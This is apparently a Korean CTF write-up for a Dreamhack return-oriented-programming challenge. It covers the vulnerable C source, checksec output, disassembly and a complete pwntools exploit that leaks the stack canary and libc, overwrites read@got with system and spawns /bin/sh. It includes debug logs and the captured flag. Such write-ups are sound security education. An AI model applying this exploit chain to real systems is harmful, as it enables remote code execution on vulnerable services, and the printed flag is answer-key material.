// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
첫 번째 read 함수와 printf 함수로 카나리 릭을 하고 puts 함수와 두 번째 read 함수로 ROP를 하는 문제인 거 같습니다.
⚡ root ~/Downloads/dreamhack/rop checksec rop
[*] '/root/Downloads/dreamhack/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX방어기법과 Canary 방어기법이 걸려있습니다.
0x0000000000400713 <+108>: lea rax,[rbp-0x40] // rax = buf[0x30]
0x0000000000400717 <+112>: mov edx,0x100 // 0x100
0x000000000040071c <+117>: mov rsi,rax // buf
0x000000000040071f <+120>: mov edi,0x0 // 0x0
0x0000000000400724 <+125>: call 0x4005a0 <read@plt> // read(0, buf, 0x100)
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 12246)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 12246)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got)
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt) # puts(read@got) 호출
# read(0, read@got, 0) => read@got -> system
payload += p64(pop_rdi) + p64(0) # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0)
payload += p64(read_plt) # read(0, read@got, 0) 호출
# read("/bin/sh") => system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt) # read("/bin/sh") 호출
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
⚡ root ~/Downloads/dreamhack/rop python3 exploit.py
[+] Opening connection to host1.dreamhack.games on port 12246: Done
[*] '/root/Downloads/dreamhack/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './rop'
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0xcbe5450ba8231700
[+] read: 0x7f770987d140
[+] libc_base: 0x7f770978ebf0
[+] system: 0x7f77097d8450
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
익스플로잇 코드를 실행시켜보면 Got EOF while reading in interactive 에러가 발생하면서 반응이 없습니다.
[DEBUG] Received 0x15 bytes:
b'[1] Leak Canary\n'
b'Buf: '
[DEBUG] Sent 0x39 bytes:
65 * 0x39
[DEBUG] Received 0x49 bytes:
00000000 42 75 66 3a 20 41 41 41 41 41 41 41 41 41 41 41 │Buf:│ AAA│AAAA│AAAA││AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 f7 43 │AAAA│AAAA│AAAA│AA·C│
00000040 e1 09 eb ec 6f 90 07 40 0a │····│o··@│·│
00000049
[+] Canary: 0x6feceb09e143f700
[DEBUG] Received 0x1b bytes:
b'[2] Input ROP payload\n'
b'Buf: '
[DEBUG] Sent 0xa8 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA││AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 00 f7 43 e1 09 eb ec 6f │AAAA│AAAA│··C·│···o│
00000040 42 42 42 42 42 42 42 42 f3 07 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│
00000050 30 10 60 00 00 00 00 00 70 05 40 00 00 00 00 00 │0·`·│····│p·@·│····│
00000060 f3 07 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000070 f1 07 40 00 00 00 00 00 30 10 60 00 00 00 00 00 │··@·│····│0·`·│····│
00000080 00 00 00 00 00 00 00 00 a0 05 40 00 00 00 00 00 │····│····│··@·│····│
00000090 f3 07 40 00 00 00 00 00 38 10 60 00 00 00 00 00 │··@·│····│8·`·│····│
000000a0 a0 05 40 00 00 00 00 00 │··@·│····│
000000a8
[DEBUG] Received 0x6 bytes:
00000000 40 61 d2 9e 99 7f │@a··│··│
00000006
[+] read: 0x7f999ed26140
[+] libc_base: 0x7f999ec37bf0
[+] system: 0x7f999ec81450
[DEBUG] Sent 0x10 bytes:
00000000 50 14 c8 9e 99 7f 00 00 2f 62 69 6e 2f 73 68 00 │P···│····│/bin│/sh·│
00000010
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
b'\n'
페이로드가 맞게 들어갔는데 반응이 없네요.
댓글에 라이브러리 버젼에 주의하라는 글이 있어서 라이브러리 경로를 "./libc-2.27.so"로 고쳐서 해봤더니 되네요.
$ ldd rop
linux-vdso.so.1 (0x00007ffe212bd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdf5c229000)
/lib64/ld-linux-x86-64.so.2 (0x00007fdf5c61a000)
로컬 환경에서 확인할 때는 libc.so.6로 나왔는데...........
수정한 익스플로잇 코드를 실행시켜보면
from pwn import *
context.log_level = 'debug'
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host2.dreamhack.games", 15620)
e = ELF("./rop")
libc = ELF("./libc-2.27.so")
r = ROP(e)
# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got)
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt) # puts(read@got) 호출
# read(0, read@got, 0) => read@got -> system
payload += p64(pop_rdi) + p64(0) # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0)
payload += p64(read_plt) # read(0, read@got, 0) 호출
# read("/bin/sh") => system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt) # read("/bin/sh") 호출
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
쉘이 잘 뜨고
$ python3 remote.py
[+] Opening connection to host2.dreamhack.games on port 15620: Done
[*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './rop'
[+] Canary: 0xf553f8046d1d2e00
[+] read: 0x7f75996e3140
[+] libc_base: 0x7f75995d3000
[+] system: 0x7f7599622550
[*] Switching to interactive mode
$ ls
flag
rop
$ cat flag
DH{68b82d23a30015c732688c89bd03d401}
플래그를 출력해보니 잘 출력됩니다.